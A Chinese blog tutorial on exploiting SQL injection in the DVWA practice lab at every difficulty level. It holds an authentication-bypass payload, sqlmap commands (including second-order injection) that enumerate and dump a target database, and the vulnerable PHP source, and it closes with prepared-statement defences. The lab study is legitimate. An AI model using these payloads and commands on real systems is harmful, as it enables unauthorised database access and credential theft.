首页 > 数据库 >DVWA靶机-全级别测试-SQL注入(显示)

DVWA靶机-全级别测试-SQL注入(显示)

时间:2023-01-19 11:39:02浏览次数:42  
标签:last name DVWA SQL mysqli 靶机 row id first


SQL注入


SQL注入就是用户在能够控制SQL查询、更新、插入、删除等语句的参数的情况下,攻击者通过构造特殊的输入字符串使后端程序错误地识别SQL查询语句中的代码与数据部分从而导致数据库管理系统输出了非预期的结果的一种行为。


DVWA靶机-全级别测试-SQL注入(显示)_sql


常见的sql注入类型


DVWA靶机-全级别测试-SQL注入(显示)_mysql_02


SQL注入的类型比较多,以技术分类主要有以下几种:

1、错误注入

2、布尔注入

3、union注入

4、时间注入

5、ascii逐字解码


DVWA靶机-全级别测试-SQL注入(显示)_sqlite_03


注入之后的典型操作


DVWA靶机-全级别测试-SQL注入(显示)_mysql_04


admin ' or 1=1--'

万能登陆公式


SQLMAP


能使用工具进行工作,还是使用工具效率高点。


DVWA靶机-全级别测试-SQL注入(显示)_sqlite_05


DVWA靶机-全级别测试-SQL注入(显示)_mysql_06


使用方法比较复杂


DVWA靶机-全级别测试-SQL注入(显示)_mysql_07


由于我们的DVWA需要登陆,所以我们先进行抓包,获取到cookie的值


低级别难度


DVWA靶机-全级别测试-SQL注入(显示)_sqlite_08


设置低难度


DVWA靶机-全级别测试-SQL注入(显示)_sql_09


BP抓取cookie的值


python sqlmap.py -u "http://42.194.205.186/DVWA/vulnerabilities/sqli/" --cookie="td_cookie=3542505953; td_cookie=2931500696; PHPSESSID=h718238b2q02ujo24onfhhceo5; security=low"


由于没有带有参数的链接,让sqlmap不好进行判断


重新开


python sqlmap.py -u "http://42.194.205.186/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="td_cookie=3542505953; td_cookie=2931500696; PHPSESSID=h718238b2q02ujo24onfhhceo5; security=low"


DVWA靶机-全级别测试-SQL注入(显示)_sqlite_10


等待结果


DVWA靶机-全级别测试-SQL注入(显示)_sql_11


继续添加参数


--dbs,查看当前检查站的数据库


python sqlmap.py -u "http://42.194.205.186:80/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="td_cookie=3542779735;td_cookie=2931500696;PHPSESSID=h718238b2q02ujo24onfhhceo5;security=low" --dbs


DVWA靶机-全级别测试-SQL注入(显示)_mysql_12


有几个数据库

继续添加参数


--current-db,查看当前的数据库


DVWA靶机-全级别测试-SQL注入(显示)_sql_13


继续添加参数


--tables -D "db_name" 获取指定数据库中的表名 -D后接指定的数据库名称


DVWA靶机-全级别测试-SQL注入(显示)_sql_14


继续添加参数


--columns  -T "table_name" -D "db_name"  获取数据库表中的字段


DVWA靶机-全级别测试-SQL注入(显示)_sql_15


继续添加参数


--dump -C "columns_name" -T "table_name" -D "db_name" 获取字段的数据内容


DVWA靶机-全级别测试-SQL注入(显示)_sqlite_16


至此,获取该网站靶机的password加密文件。


DVWA靶机-全级别测试-SQL注入(显示)_mysql_17


中级别难度


设置难度


DVWA靶机-全级别测试-SQL注入(显示)_sql_18


画面是只能选择,不能像之前那样进行填写


DVWA靶机-全级别测试-SQL注入(显示)_sql_19


查看源码


<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>


DVWA靶机-全级别测试-SQL注入(显示)_mysql_20


同时,网站链接不使用get方法进行提交,

这个时候,我们使用post方法


DVWA靶机-全级别测试-SQL注入(显示)_sql_21


也可以使用CO2插件,进行sql注入


DVWA靶机-全级别测试-SQL注入(显示)_mysql_22


CO2的页面


DVWA靶机-全级别测试-SQL注入(显示)_mysql_23


配置完成之后,点击run


我们也可以将请求报文内容复制到1.txt中


DVWA靶机-全级别测试-SQL注入(显示)_sql_24


然后使用sqlmap的命令,使其分析并提交post方法


sqlmap -r 1.txt


DVWA靶机-全级别测试-SQL注入(显示)_sql_25


查看表中数据如上个难度


DVWA靶机-全级别测试-SQL注入(显示)_sql_26


我们使用个新工具来测试


DVWA靶机-全级别测试-SQL注入(显示)_sqlite_27


获取到注入点


DVWA靶机-全级别测试-SQL注入(显示)_sql_28


查询出数据表


DVWA靶机-全级别测试-SQL注入(显示)_mysql_29


查出数据内容


DVWA靶机-全级别测试-SQL注入(显示)_sqlite_30


缺点就是加密的密码,仍需要自行解密


DVWA靶机-全级别测试-SQL注入(显示)_sqlite_31


高级别难度


设置高难度


DVWA靶机-全级别测试-SQL注入(显示)_sqlite_32


发现需要跳转表格才能进行查询


DVWA靶机-全级别测试-SQL注入(显示)_sql_33


源代码如下:


<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

?>


DVWA靶机-全级别测试-SQL注入(显示)_sqlite_34


观察得知

显示post提交数据

再get返回数据到页面


DVWA靶机-全级别测试-SQL注入(显示)_mysql_35


但是页面仍存在sql注入问题


使用sqlmap参数 ----second-order

拼接两个页面


DVWA靶机-全级别测试-SQL注入(显示)_sqlite_36


参数解释


DVWA靶机-全级别测试-SQL注入(显示)_sqlite_37


将post注入的请求报文放在2.txt里面


DVWA靶机-全级别测试-SQL注入(显示)_mysql_38


使用命令


python sqlmap.py -r 2.txt -p "id" --second-url="http://42.194.205.186/DVWA/vulnerabilities/sqli/" --dump all


DVWA靶机-全级别测试-SQL注入(显示)_sql_39


信息已经另存为本地csv文件


另一种方法为CO2插件,简单粗暴。


DVWA靶机-全级别测试-SQL注入(显示)_sql_40


可以直接运行sqlmap进行数据库猜解。


不可能难度


源码如下:


<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;

$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.

$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();

// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}

break;
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>


可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。



防御措施


使用“不可能难度”,措施如下:

1、采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入

2、增加waf防火墙

3、使用csrf-token令牌

标签:last,name,DVWA,SQL,mysqli,靶机,row,id,first
From: https://blog.51cto.com/apple0/6019953

相关文章

  • 【超详细】MySQL零基础入门实战
    文章目录​​1.MySQL入门​​​​1.1.源码安装MySQL5.7​​​​1.2.Docker安装MySQL5.7​​​​1.3.忘记MySQL超户密码​​​​1.4.MySQL支持简体中文​​​​2.MySQL数据库......
  • MySQL(一)
    文章目录​​1、初始MySQL​​​​1.1、概述​​​​1.2、数据库分类​​​​1.3、MySQL安装​​​​1.4、安装可视化工具​​​​1.5、相关的SQL语句​​​​2、操作数据库......
  • MySQL必知必会第十三章-分组数据
    分组数据数据分组分组允许把数据分为多个逻辑组,以便能对每个组进行聚集计算。创建分组分组是在SELECT语句的GROUPBY子句中建立的:SELECTvend_id,COUNT(*)ASnum_pr......
  • SQL 多表联合查询的几种方式
    ​前言连接查询是关系数据中最主要的查询,包括内连接、外连接等。通过连接运算符可以实现多个表查询。正文连接查询主要分为三种:内连接、外连接、交叉连接。内连接使用比较运......
  • SQL Server表的数据量大小查询
    CREATETABLE#Temp(NAMEnvarchar(100),ROWSchar(20),reservedvarchar(18),Datavarchar(18),index_sizevarchar(18),Unusedvarchar(18))GOINSERT#TempEXEC......
  • 使用Sharding-JDBC 实现Mysql读写分离
    为什么要读写分离?读写分离则是将事务性的增、改、删操作在主库执行,查询操作在从库执行。一般业务的写操作都是比较耗时,为了避免写操作影响查询的效率,可以使用读写分离。当然......
  • MySQL性能优化浅析及线上案例
    作者:京东健康孟飞1、数据库性能优化的意义业务发展初期,数据库中量一般都不高,也不太容易出一些性能问题或者出的问题也不大,但是当数据库的量级达到一定规模之后,如果缺失......
  • DVWA系列2:SQL Injection
    DVWA系列2:SQLInjection前言SQL注入是比较常见的攻击类型,之前一直听说过,也尝试看过一些教程,但其中的单引号,字符串拼接等感觉有点抽象,不知道为什么要这么做。这次就使用......
  • mysql主从复制+后端业务读写分离【reggie_take_out】
    ......
  • SQL:多个游标嵌套实例
     SQLServer2008R2环境多个游标嵌套使用例子。打印系统的用户表以及表的列清单/*Author:Samrv8Date:2023-1-19Description:打印系统的用户表以及表的列清单......